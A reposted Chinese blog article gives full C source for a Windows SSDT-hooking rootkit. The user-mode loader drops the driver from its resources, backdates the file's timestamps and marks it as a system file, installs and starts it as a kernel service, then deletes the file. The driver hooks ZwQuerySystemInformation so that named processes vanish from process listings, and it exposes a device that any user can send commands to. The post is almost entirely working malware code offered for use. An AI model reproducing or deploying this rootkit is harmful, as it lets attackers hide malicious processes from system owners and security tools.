当前位置:首页 > 编程技术 > 正文

膜拜各位黑阔大牛~小弟小白,啥都不会啥都不懂。要密码的私密就可以了,勿社!谢谢合作!

驱动层SSDT 隐藏进程【转载】

闲着没事,便想在熟悉下之前看过的驱动编程相关知识,于是就写了这个简单的驱动曾隐藏进程程序。

要点:  在驱动层隐藏,主要还是使用SSDT挂钩的方法,相关知识,可以到网上查找,在隐藏进程时,为了能够隐藏多个进程,在内核代码中创建一个链表,结构如下:


  1. //存放要隐藏进程的名字链表
  2. typedef struct _ProcNameLink
  3. {
  4. UNICODE_STRING ProcName;
  5. struct _ProcNameLink *pNext;
  6. }ProcNameLink,*pProcNameLink;
  7. 在分别定义 全局变量 一个表头和一个表尾
  8. pProcNameLink pProcNameHeader; //链表头部
  9. pProcNameLink pProcNameTail; //链表尾部

应用层使用命令行参数向驱动层传递消息,隐藏进程或删除隐藏的进程,内核层根据传递的详细,向链表中添加或删除表项。以达到显示和隐藏进程的目的。


为了方便使用,将驱动代码编译成sys文件,添加到应用层程序的资源中,运行时释放安装。


测试结果:

代码如下:

 

应用层代码:


  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <winioctl.h>    //通信时专用头文件
  4. #include "resource.h"
  5. //定义控制码
  6. #define MY_DVC_IN_CODE \
  7.         (ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,\
  8.         0xa02,\
  9.         METHOD_BUFFERED,\
  10.         FILE_READ_DATA|FILE_WRITE_DATA)
  11. #pragma comment(lib,"Advapi32.lib")
  12. //释放资源文件中的sys
  13. BOOL ReleaseResource(HMODULE hMoudle, DWORD wResourceId, LPCTSTR lpType, LPCTSTR lpFilePath)
  14. {
  15.         HGLOBAL hResData;   ///一个内存空间;
  16.         HRSRC hResInfo;
  17.         HANDLE hFile;
  18.         DWORD dwBytes;
  19.         char strTmpPath[MAX_PATH],strBinPath[MAX_PATH];
  20.         GetTempPath(sizeof(strTmpPath),strTmpPath);   //临时文件路径;
  21.         sprintf(strBinPath,"%s\\test.tmp",strTmpPath);
  22.         //处理资源文件;
  23.         hResInfo = FindResource(hMoudle,MAKEINTRESOURCE(wResourceId),lpType);
  24.         //printf("error = %d\n",GetLastError());
  25.         //printf("\n\nwResourceId=%d\nMAKEINTRESOURCE(wResourceId)=%s\n\n",wResourceId,(char*)MAKEINTRESOURCE(wResourceId));
  26.         if(hResInfo == NULL)
  27.                 return FALSE;
  28.         hResData = LoadResource(hMoudle,hResInfo);
  29.         if(hResData == NULL)
  30.                 return FALSE;
  31.         hFile = CreateFile(strBinPath,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);  //创建文件;
  32.         if(hFile == NULL)
  33.                 return FALSE;
  34.         SYSTEMTIME st;
  35.         memset(&st, 0, sizeof(st));
  36.         st.wYear = 2012;
  37.         st.wMonth = 12;
  38.         st.wDay = 8;
  39.         st.wHour = 8;
  40.         st.wMinute = 10;
  41.         FILETIME ft,LocalFileTime;
  42.         SystemTimeToFileTime(&st, &ft);  //系统时间转化成文件件时间;
  43.         LocalFileTimeToFileTime(&ft, &LocalFileTime);
  44.         SetFileTime(hFile, &LocalFileTime, (LPFILETIME)NULL, &LocalFileTime); //文件创建时间,最后一次访问时间,最后一次修改时间;
  45.         WriteFile(hFile, hResData, SizeofResource(NULL,hResInfo), &dwBytes, NULL); //将资源中的txt文件写入的新建的txt文件;
  46.         CloseHandle(hFile);
  47.         FreeResource(hResData);
  48.         MoveFile(strBinPath,lpFilePath);
  49.         SetFileAttributes(lpFilePath,FILE_ATTRIBUTE_SYSTEM);
  50.         DeleteFile(strBinPath);
  51.         return TRUE;
  52. }
  53. //判断驱动服务是否存在
  54. BOOL IsExistDriver(char *szDriverName)
  55. {
  56.         BOOL bRet = TRUE;   //存在
  57.         SC_HANDLE schService = NULL;
  58.         SC_HANDLE schSCManager = NULL;
  59.         schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
  60.         if(schSCManager)
  61.         {
  62.                 //获取服务程序句柄
  63.                 schService = OpenService(
  64.                         schSCManager,
  65.                         szDriverName,
  66.                         SERVICE_ALL_ACCESS
  67.                         );
  68.                 if(schService == NULL)
  69.                 {
  70.                         //服务不存在
  71.                         if((GetLastError() == ERROR_INVALID_NAME) || (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST))
  72.                                 bRet = FALSE;
  73.                 }
  74.         }
  75.         return bRet;
  76. }
  77. //加载驱动
  78. BOOL LoadDriver(char *szDriverName, char* szSysPath)
  79. {
  80.         BOOL bRet = FALSE;
  81.         SC_HANDLE schSevice = NULL;
  82.         SC_HANDLE schSCManager = NULL;
  83.         //打开SCM控制管理器
  84.         schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
  85.         if(!schSCManager)
  86.         {
  87.                 printf("failed to OpenSCManager!\n");
  88.                 return bRet;
  89.         }
  90.         //登记服务程序
  91.         schSevice = CreateService(
  92.                                                 schSCManager,
  93.                                                 szDriverName,
  94.                                                 szDriverName,
  95.                                                 SC_MANAGER_ALL_ACCESS,
  96.                                                 SERVICE_KERNEL_DRIVER,//驱动服务
  97.                                                 SERVICE_DEMAND_START,
  98.                                                 SERVICE_ERROR_IGNORE,
  99.                                                 szSysPath,
  100.                                                 NULL,
  101.                                                 NULL,
  102.                                                 NULL,
  103.                                                 NULL,
  104.                                                 NULL
  105.                                                 );
  106.         if(schSevice)
  107.         {
  108.                 printf("%s install\n",szDriverName);
  109.         }
  110.         else
  111.         {
  112.                 printf("failed to CreateService\n");
  113.                 if(schSCManager != NULL)
  114.                         CloseServiceHandle(schSCManager);
  115.                 return bRet;
  116.         }
  117.         //打开服务
  118.         schSevice = OpenService(schSCManager,szDriverName,SERVICE_ALL_ACCESS);
  119.         if(schSevice == NULL)
  120.         {
  121.                 printf("failed to OpenService\n");
  122.                 if(schSCManager != NULL)
  123.                         CloseServiceHandle(schSCManager);
  124.                 return bRet;
  125.         }
  126.         bRet = StartService(schSevice,NULL,NULL);
  127.         if(!bRet)
  128.         {
  129.                 printf("failed to startservice\n");
  130.                 if(schSevice != NULL)
  131.                         CloseServiceHandle(schSevice);
  132.                 if(schSCManager != NULL)
  133.                         CloseServiceHandle(schSCManager);        
  134.                 return FALSE;
  135.         }
  136.         printf("%s start\n",szDriverName);
  137.         if(schSevice != NULL)
  138.                 CloseServiceHandle(schSevice);
  139.         if(schSCManager != NULL)
  140.                 CloseServiceHandle(schSCManager);        
  141.         return TRUE;
  142. }
  143. //卸载驱动
  144. BOOL UnLoadDriver(char *szDriverName)
  145. {
  146.         SC_HANDLE schService = NULL;
  147.         SC_HANDLE schSCManager = NULL;
  148.         LPSERVICE_STATUS sStatus;
  149.         BOOL bRet = FALSE;
  150.         //打开服务管理数据库
  151.         schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
  152.         if(schSCManager)
  153.         {
  154.                 //获取服务程序句柄
  155.                 schService = OpenService(
  156.                                                         schSCManager,
  157.                                                         szDriverName,
  158.                                                         SERVICE_ALL_ACCESS
  159.                                                         );
  160.                 if(schService)
  161.                 {
  162.                         //试图停止服务
  163.                         if(ControlService(schService,SERVICE_CONTROL_STOP,sStatus))
  164.                         {
  165.                                 printf("\n try to stop %s\n",szDriverName);
  166.                                 Sleep(1000);
  167.                                 //等待服务停止
  168.                                 while(QueryServiceStatus(schService,sStatus))
  169.                                 {
  170.                                         if(SERVICE_STOP_PENDING == sStatus->dwCurrentState)
  171.                                         {
  172.                                                 printf(".");
  173.                                                 Sleep(1000);
  174.                                         }
  175.                                         else
  176.                                                 break;
  177.                                 }
  178.                                 if(SERVICE_STOPPED == sStatus->dwCurrentState)
  179.                                         printf(" %s stopped.\n",szDriverName);
  180.                                 else
  181.                                         printf("\n failed to stop %s .\n",szDriverName);
  182.                         }
  183.                         //删除服务
  184.                         if(DeleteService(schService))
  185.                                 {
  186.                                         printf(" %s removed.\n",szDriverName);
  187.                                         bRet = TRUE;
  188.                                 }
  189.                         else
  190.                                 printf("failed to delete  %s service.\n",szDriverName);
  191.                         CloseServiceHandle(schService);
  192.                 }
  193.                 else
  194.                         printf("failed to open service \n");
  195.                 CloseServiceHandle(schSCManager);
  196.         }
  197.         else
  198.                 printf(" failed to open SCManager\n");
  199.         return bRet;
  200. }
  201. int main(int argc,char *argv[])
  202. {        
  203.         char szCurPath[MAX_PATH],szSysPath[MAX_PATH];
  204.         GetCurrentDirectory(MAX_PATH,szCurPath); //获得当前路径
  205.         sprintf(szSysPath,"%s\\ProcHide.sys",szCurPath);
  206.         ReleaseResource(NULL,IDR_SYS1,"SYS",szSysPath);
  207.        
  208.         //安装驱动
  209.         char szDriverName[] = "ProcHide";
  210.         //判断驱动是否已经存在,不存在则安装
  211.         if(!IsExistDriver(szDriverName))
  212.         {
  213.                 LoadDriver(szDriverName,szSysPath);
  214.                 Sleep(5000);  //等待一段时间,否则可能因为文件正在被使用无法删除
  215.                 DeleteFile(szSysPath);
  216.         }
  217.         //else
  218.                 //printf("driver has beed installed.\n");
  219.         //printf("argc = %d    %s\n\n",argc,argv[1]);
  220.         if(argc != 2 && argc != 3)
  221.         {
  222.                 printf(
  223.                         "ProcHide -r   //remove driver\n"
  224.                         "ProcHide -h ProcessName   //hide the process\n"
  225.                         "ProcHide -d ProcessName   //hide the process\n"
  226.                         );
  227.                 return 0;
  228.         }
  229.         if(strcmp(argv[1],"-r") != 0 && strcmp(argv[1],"-h") != 0 && strcmp(argv[1],"-d") != 0)
  230.         {
  231.                 printf(
  232.                         "ProcHide -r   //remove driver\n"
  233.                         "ProcHide -h ProcessName   //hide the process\n"
  234.                         "ProcHide -d ProcessName   //hide the process\n"
  235.                         );
  236.                 return 0;
  237.         }
  238.         //卸载驱动
  239.         if(strcmp(argv[1],"-r") == 0)
  240.         {
  241.                 if(UnLoadDriver(szDriverName))
  242.                         printf("%s : unloaded\n",szDriverName);
  243.                 else
  244.                         printf("failed to unload\n");
  245.                 return 1;
  246.         }
  247.         //////////////////////////////////////////////////////////////////////////
  248.         //隐藏进程处理
  249.         BOOL ret;
  250.         DWORD in_buffer_len,length=0; //返回的长度
  251.         char in_buffer[256];  //隐藏进程hide,此处先做测试,值由命令传进
  252.         memset(in_buffer,0,256);
  253.         if(strcmp(argv[1],"-h") == 0)   //添加隐藏进程
  254.                 in_buffer[0] = '+';
  255.         if(strcmp(argv[1],"-d") == 0)  //删除隐藏的进程
  256.                 in_buffer[0] = '-';
  257.         strcat(in_buffer,argv[2]);
  258.         //printf("in_buffer = %s\n",in_buffer);
  259.         in_buffer_len = strlen(in_buffer);
  260.         //创建设备
  261.         HANDLE device = CreateFile("\\\\.\\testSL",
  262.                                                         GENERIC_READ|GENERIC_WRITE,
  263.                                                         0,
  264.                                                         0,
  265.                                                         OPEN_EXISTING,
  266.                                                         FILE_ATTRIBUTE_SYSTEM,
  267.                                                         0);
  268.         if(device == INVALID_HANDLE_VALUE)
  269.         {
  270.                 printf("failed to open device!\n");
  271.                 return 0;
  272.         }
  273.         //向ring0级传送数据
  274.         ret = DeviceIoControl(device, //打开的设备
  275.                                                 MY_DVC_IN_CODE, //控制码
  276.                                                 in_buffer,  //输入缓冲区
  277.                                                 in_buffer_len, //输入缓冲区长度
  278.                                                 NULL,  //没有输出
  279.                                                 0,    //输出缓冲区为0
  280.                                                 &length,   //返回长度
  281.                                                 NULL);
  282.         if(!ret)
  283.         {
  284.                 printf("failed to write buffer to ring0 bufer\n");
  285.                 CloseHandle(device);
  286.                 return 0;
  287.         }
  288.         CloseHandle(device);
  289.         printf("exit...\n");
  290.         return 1;
  291. }
驱动层代码:

  1. // BASIC ROOTKIT that hides processes
  2. //#include "ntddk.h"
  3. #include <ntifs.h>
  4. #include <Wdmsec.h>
  5. #include <Wdm.h>
  6. #include <string.h>
  7. #include <stdio.h>
  8. //定义控制码
  9. #define MY_DVC_IN_CODE \
  10.         (ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,\
  11.         0xa02,\
  12.         METHOD_BUFFERED,\
  13.         FILE_READ_DATA|FILE_WRITE_DATA)
  14.        
  15.        
  16. #pragma pack(1) //1个字节对齐
  17. typedef struct ServiceDescriptorEntry {
  18.         unsigned int *ServiceTableBase;
  19.         unsigned int *ServiceCounterTableBase; //Used only in checked build
  20.         unsigned int NumberOfServices;
  21.         unsigned char *ParamTableBase;
  22. } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
  23. #pragma pack()
  24. __declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
  25. #define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
  26. //存放要隐藏进程的名字链表
  27. typedef struct _ProcNameLink
  28. {
  29.         UNICODE_STRING ProcName;
  30.         struct _ProcNameLink *pNext;
  31. }ProcNameLink,*pProcNameLink;
  32. PMDL  g_pmdlSystemCall;
  33. PVOID *MappedSystemCallTable;
  34. pProcNameLink pProcNameHeader;  //链表头部
  35. pProcNameLink pProcNameTail;   //链表尾部
  36. #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
  37. #define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
  38.        _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  39. #define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
  40.        InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  41. struct _SYSTEM_THREADS
  42. {
  43.         LARGE_INTEGER           KernelTime;
  44.         LARGE_INTEGER           UserTime;
  45.         LARGE_INTEGER           CreateTime;
  46.         ULONG                           WaitTime;
  47.         PVOID                           StartAddress;
  48.         CLIENT_ID                       ClientIs;
  49.         KPRIORITY                       Priority;
  50.         KPRIORITY                       BasePriority;
  51.         ULONG                           ContextSwitchCount;
  52.         ULONG                           ThreadState;
  53.         KWAIT_REASON            WaitReason;
  54. };
  55. //进程信息结构体
  56. struct _SYSTEM_PROCESSES
  57. {
  58.         ULONG                           NextEntryDelta;
  59.         ULONG                           ThreadCount;
  60.         ULONG                           Reserved[6];
  61.         LARGE_INTEGER                                   CreateTime;
  62.         LARGE_INTEGER                           UserTime;
  63.         LARGE_INTEGER                           KernelTime;
  64.         UNICODE_STRING                          ProcessName;
  65.         KPRIORITY                       BasePriority;
  66.         ULONG                           ProcessId;
  67.         ULONG                           InheritedFromProcessId;
  68.         ULONG                           HandleCount;
  69.         ULONG                           Reserved2[2];
  70.         VM_COUNTERS                     VmCounters;
  71.         IO_COUNTERS                     IoCounters; //windows 2000 only
  72.         struct _SYSTEM_THREADS          Threads[1];
  73. };
  74. NTSYSAPI
  75. NTSTATUS
  76. NTAPI ZwQuerySystemInformation(
  77.                                                 IN ULONG SystemInformationClass,
  78.                         IN PVOID SystemInformation,
  79.                         IN ULONG SystemInformationLength,
  80.                         OUT PULONG ReturnLength
  81.                                                         );
  82. typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
  83.                                                         ULONG SystemInformationCLass,
  84.                                                         PVOID SystemInformation,
  85.                                                         ULONG SystemInformationLength,
  86.                                                         PULONG ReturnLength
  87.                                                                                         );
  88. ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
  89. // Added by Creative of rootkit.com
  90. LARGE_INTEGER                                        m_UserTime;//64bit
  91. LARGE_INTEGER                                        m_KernelTime;
  92. ///////////////////////////////////////////////////////////////////////
  93. // NewZwQuerySystemInformation function
  94. //
  95. // ZwQuerySystemInformation() returns a linked list of processes.
  96. // The function below imitates it, except it removes from the list any
  97. // process who's name begins with "_root_".
  98. NTSTATUS NewZwQuerySystemInformation(
  99.             IN ULONG SystemInformationClass,
  100.             IN PVOID SystemInformation,
  101.             IN ULONG SystemInformationLength,
  102.             OUT PULONG ReturnLength)
  103. {
  104.         NTSTATUS ntStatus;
  105.         pProcNameLink pTempLink;   //进程查询时用
  106.        
  107.    ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
  108.                                         SystemInformationClass,
  109.                                         SystemInformation,
  110.                                         SystemInformationLength,
  111.                                         ReturnLength );
  112.    if( NT_SUCCESS(ntStatus))
  113.    {
  114.       if(SystemInformationClass == 5)
  115.       {                
  116.                 //pTempLink = pProcNameHeader->pNext;   //每次开始时重新赋次值
  117.                 //获取进程信息结构
  118.                 for((pTempLink = pProcNameHeader->pNext)&&(pTempLink!=NULL); pTempLink != NULL; )
  119.                 {
  120.                 //每次产看是,都要从进程列表的开始开始比较
  121.                 struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES*)SystemInformation;
  122.                 struct _SYSTEM_PROCESSES *prev = NULL;
  123.                  while(curr)
  124.                  {
  125.                         if (curr->ProcessName.Buffer != NULL)
  126.                         {
  127.                                 if(0 == memcmp(curr->ProcessName.Buffer, pTempLink->ProcName.Buffer, 16))//此处判断要隐藏的进程
  128.                                 {
  129.                                         m_UserTime.QuadPart += curr->UserTime.QuadPart;
  130.                                         m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
  131.                                         //判断要隐藏的进程在链表的那个位置
  132.                                         if(prev) // 中间或是在最后
  133.                                         {
  134.                                                 if(curr->NextEntryDelta)
  135.                                                         prev->NextEntryDelta += curr->NextEntryDelta;
  136.                                                 else        // 在最后
  137.                                                         prev->NextEntryDelta = 0;
  138.                                         }
  139.                                         else
  140.                                         {
  141.                                                 if(curr->NextEntryDelta)
  142.                                                 {
  143.                                                         // 要隐藏的进程在第一个
  144.                                                         (char *)SystemInformation += curr->NextEntryDelta;
  145.                                                 }
  146.                                                 else // 只有当前一个进程
  147.                                                         SystemInformation = NULL;
  148.                                         }
  149.                                 }
  150.                         }
  151.                         prev = curr;
  152.                     if(curr->NextEntryDelta)
  153.                                 (char *)curr += curr->NextEntryDelta;
  154.                     else
  155.                                 curr = NULL;
  156.              }
  157.                  pTempLink = pTempLink->pNext;
  158.                 }
  159.           }
  160.    }
  161.    return ntStatus;
  162. }
  163. //向链表汇总加入新的要隐藏的进程
  164. VOID AddProcToLink(PUNICODE_STRING ProcName)
  165. {
  166.         //先判断该进程是否已存在,已存在则不添加(不判断也不影响结果)
  167.         pProcNameLink pNewLink = (pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink));  //新增节点
  168.         (pNewLink->ProcName).Length = 0;
  169.         (pNewLink->ProcName).MaximumLength = 256;
  170.         (pNewLink->ProcName).Buffer = (PWCHAR)ExAllocatePool(NonPagedPool, 256);  //新增节点
  171.        
  172.         RtlCopyUnicodeString(&(pNewLink->ProcName),ProcName);  //复制
  173.         pNewLink->pNext = NULL;
  174.         pProcNameTail->pNext = pNewLink;
  175.         pProcNameTail = pNewLink;    //链表末尾
  176. }
  177. //移除某个进程
  178. VOID RmProcFromLink(PUNICODE_STRING pProcName)
  179. {
  180.         pProcNameLink pNewLink = pProcNameHeader;
  181.         if(pProcNameHeader->pNext == NULL)
  182.                 return;
  183.         for( pNewLink;pNewLink->pNext != NULL;)
  184.         {
  185.                 //找到,则从链表中删除
  186.                 if(RtlCompareUnicodeString(&(pNewLink->pNext->ProcName),pProcName,TRUE)==0)
  187.                 {
  188.                         pNewLink->pNext = pNewLink->pNext->pNext;
  189.                         if(pNewLink->pNext == NULL)  //链表结尾,为指针标识赋值
  190.                                 pProcNameTail = pNewLink;
  191.                         break;
  192.                 }
  193.                 pNewLink = pNewLink->pNext;  //没有写在for里面是为了方便调试时下断点
  194.         }
  195. }
  196. VOID OnUnload(IN PDRIVER_OBJECT driver)
  197. {
  198.         UNICODE_STRING symblink_name;  //c语言定义变量放在前面
  199.    DbgPrint("ROOTKIT: OnUnload called\n");
  200.    // unhook system calls
  201.    UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
  202.    // Unlock and Free MDL
  203.    if(g_pmdlSystemCall)
  204.    {
  205.       MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
  206.       IoFreeMdl(g_pmdlSystemCall);
  207.    }
  208.    
  209.     if(IoIsWdmVersionAvailable(1,0x10))
  210.     {
  211.         //支持通用版本本,则创建全局符号链接\DosDevices\Global
  212.         RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");      
  213.     }
  214.     else
  215.     {
  216.         //不支持,用\DosDevices
  217.         RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");
  218.     }
  219.     IoDeleteSymbolicLink(&symblink_name );
  220.     IoDeleteDevice(driver->DeviceObject);
  221.     DbgPrint("our driver is unloading ... \r\n");
  222. }
  223. NTSTATUS MyDispatchFunction(PDEVICE_OBJECT device, PIRP irp)
  224. {
  225.     CHAR inBuffer[256];
  226.         short flag = 1;  //增加链表
  227.         ANSI_STRING ansiBuffer;
  228.         UNICODE_STRING unicodeBuffer;
  229.         int i;
  230.     //获得当前IRP调用的栈空间
  231.     PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(irp);
  232.     NTSTATUS status = STATUS_INVALID_PARAMETER;
  233.         memset(inBuffer,0,256);
  234.     //处理各种请求
  235.     switch(irpsp->MajorFunction)
  236.     {
  237.         case IRP_MJ_CREATE:
  238.         {
  239.             //简单返回一个IRP成功三部曲
  240.             irp->IoStatus.Information = 0;
  241.             irp->IoStatus.Status = STATUS_SUCCESS;
  242.             IoCompleteRequest(irp,IO_NO_INCREMENT);
  243.             //应用层,打开设备后 打印此字符串,仅为测试
  244.             DbgPrint("congratulations gay,open device");
  245.             status = irp->IoStatus.Status;
  246.             break;
  247.         }
  248.         case IRP_MJ_CLOSE:
  249.         {
  250.             irp->IoStatus.Information = 0;
  251.             irp->IoStatus.Status = STATUS_SUCCESS;
  252.             IoCompleteRequest(irp,IO_NO_INCREMENT);
  253.             //应用层,打开设备后 打印此字符串,仅为测试
  254.             DbgPrint("congratulations gay,close device");
  255.             status = irp->IoStatus.Status;
  256.             break;
  257.         }
  258.         case IRP_MJ_DEVICE_CONTROL:
  259.         {
  260.             //得到功能号
  261.             ULONG code = irpsp->Parameters.DeviceIoControl.IoControlCode;
  262.             //得到输入/输出缓冲区的长度
  263.             ULONG in_len = irpsp->Parameters.DeviceIoControl.InputBufferLength;
  264.             ULONG out_len = irpsp->Parameters.DeviceIoControl.OutputBufferLength;
  265.             //输入、输出的缓冲区是公用的内存空间的
  266.             PCHAR buffer = (PCHAR)irp->AssociatedIrp.SystemBuffer;
  267.                         //memcpy(inBuffer,buffer,in_len);
  268.                         //将短字符转化为宽字符
  269.                         if(buffer[0] == '-')
  270.                                 flag = 0;
  271.                         ansiBuffer.Buffer = buffer+1;
  272.                         ansiBuffer.Length = ansiBuffer.MaximumLength = (USHORT)(in_len -1);
  273.                         RtlAnsiStringToUnicodeString(&unicodeBuffer, &ansiBuffer,TRUE);
  274.                         if(flag)
  275.                                 AddProcToLink(&unicodeBuffer);   //将要隐藏的进程加入到链表中
  276.                         else
  277.                                 RmProcFromLink(&unicodeBuffer);
  278.                         DbgPrint("%ansiBuffer = %Z\n",&ansiBuffer);    //注意是%Z
  279.                         DbgPrint("unicodeBuffer = %wZ\n",&unicodeBuffer);
  280.             if(code == MY_DVC_IN_CODE)
  281.             {
  282.                 DbgPrint("in_buffer_len = %d",in_len);
  283.                 DbgPrint("%s",buffer);
  284.                 //因为不返回信息,直接返回成功即可
  285.                 //没有用到输出缓冲区
  286.                 irp->IoStatus.Information = 0;
  287.                 irp->IoStatus.Status = STATUS_SUCCESS;
  288.             }
  289.             else
  290.             {
  291.                 //控制码错误,则不接受请求,直接返回错误
  292.                 //注意返回错误和返回成功的区别
  293.                 irp->IoStatus.Information = 0;
  294.                 irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
  295.             }
  296.             IoCompleteRequest(irp,IO_NO_INCREMENT);
  297.             status = irp->IoStatus.Status;
  298.             break;
  299.         }
  300.         case IRP_MJ_READ:
  301.         {
  302.             break;
  303.         }
  304.         default:
  305.         {
  306.             DbgPrint("unknow request!!!");
  307.             break;
  308.         }
  309.     }
  310.    
  311.     return status;
  312. }
  313. //将ssdt表映射到内存,并设置可写、不换出
  314. NTSTATUS SetSSDTFlag()
  315. {
  316.          // 映射区域
  317.    g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
  318.    if(!g_pmdlSystemCall)
  319.       return STATUS_UNSUCCESSFUL;
  320.    MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
  321.    // 改变标志,设置可写
  322.    g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  323.         //锁定到内存中,不让换出
  324.    MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
  325.    return STATUS_SUCCESS;
  326. }
  327. NTSTATUS DriverEntry(IN PDRIVER_OBJECT driver,
  328.                                          IN PUNICODE_STRING reg_path)
  329. {
  330.     ULONG i;
  331.     NTSTATUS status;
  332.     PDEVICE_OBJECT device;
  333.     //设备名
  334.     UNICODE_STRING device_name = RTL_CONSTANT_STRING(L"\\Device\\test");
  335.     //符号连接名
  336.     UNICODE_STRING symblink_name;
  337.     //随手写一个GUID
  338.     static const GUID MYGUID_CLASS_MYCDO =
  339.     { 0x63542127, 0xfbbb, 0x49c8, { 0x8b, 0xf4, 0x8b, 0x7c, 0xb5, 0xef, 0xd3, 0x9e } };
  340. //static const GUID DECLSPEC_SELECTANY MYGUID_CLASS_MYCDO =
  341. //{ 0x8524767, 0x32fe, 0x4d86, { 0x9f, 0x48, 0xa0, 0x26, 0x94, 0xec, 0x71, 0x42 } };
  342.    
  343.     //全用户可读权限、写权限
  344.     UNICODE_STRING sdd1=RTL_CONSTANT_STRING(L"D:P(A;;GA;;;WD)");
  345.         //初始化第一个结构体
  346.         pProcNameHeader =(pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink));
  347.         pProcNameHeader->pNext = NULL;
  348.         pProcNameTail = pProcNameHeader;
  349.         //RtlInitUnicodeString(&(pProcNameHeader->ProcName),L"");
  350.         //_asm int 3
  351.     //生成设备
  352.     status = IoCreateDeviceSecure(
  353.                             driver,
  354.                             0,
  355.                             &device_name,
  356.                             FILE_DEVICE_UNKNOWN,
  357.                             FILE_DEVICE_SECURE_OPEN,
  358.                             FALSE,
  359.                             &sdd1,
  360.                             (LPCGUID)&MYGUID_CLASS_MYCDO,
  361.                             &device
  362.                             );
  363.     if(!NT_SUCCESS(status))
  364.     {
  365.         DbgPrint("IoCreateDeviceSecure failed ");
  366.         return status;
  367.     }
  368.     DbgPrint("good job1");
  369.     //创建符号链接
  370.     if(IoIsWdmVersionAvailable(1,0x10))
  371.     {
  372.         //支持通用版本本,则创建全局符号链接\DosDevices\Global
  373.         RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");      
  374.     }
  375.     else
  376.     {
  377.         //不支持,用\DosDevices
  378.         RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");
  379.     }
  380.     status = IoCreateSymbolicLink(&symblink_name,&device_name);
  381.     if(!NT_SUCCESS(status))
  382.     {
  383.         DbgPrint("IoCreateSymbolicLink failed");
  384.         return status;
  385.     }
  386.     DbgPrint("good job2");
  387.     //初始化驱动处理
  388.     for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
  389.     {
  390.         driver->MajorFunction[i] = MyDispatchFunction;
  391.     }
  392.    // save old system call locations
  393.    //OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
  394.          // Register a dispatch function for Unload
  395.         driver->DriverUnload  = OnUnload;
  396.        
  397.         SetSSDTFlag();
  398.    // hook system calls
  399.    
  400.         HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
  401.                              
  402.    return STATUS_SUCCESS;
  403. }

转自IeBug Forum
http://www.iebug.org/thread-29-1-1.html

安全联盟站长平台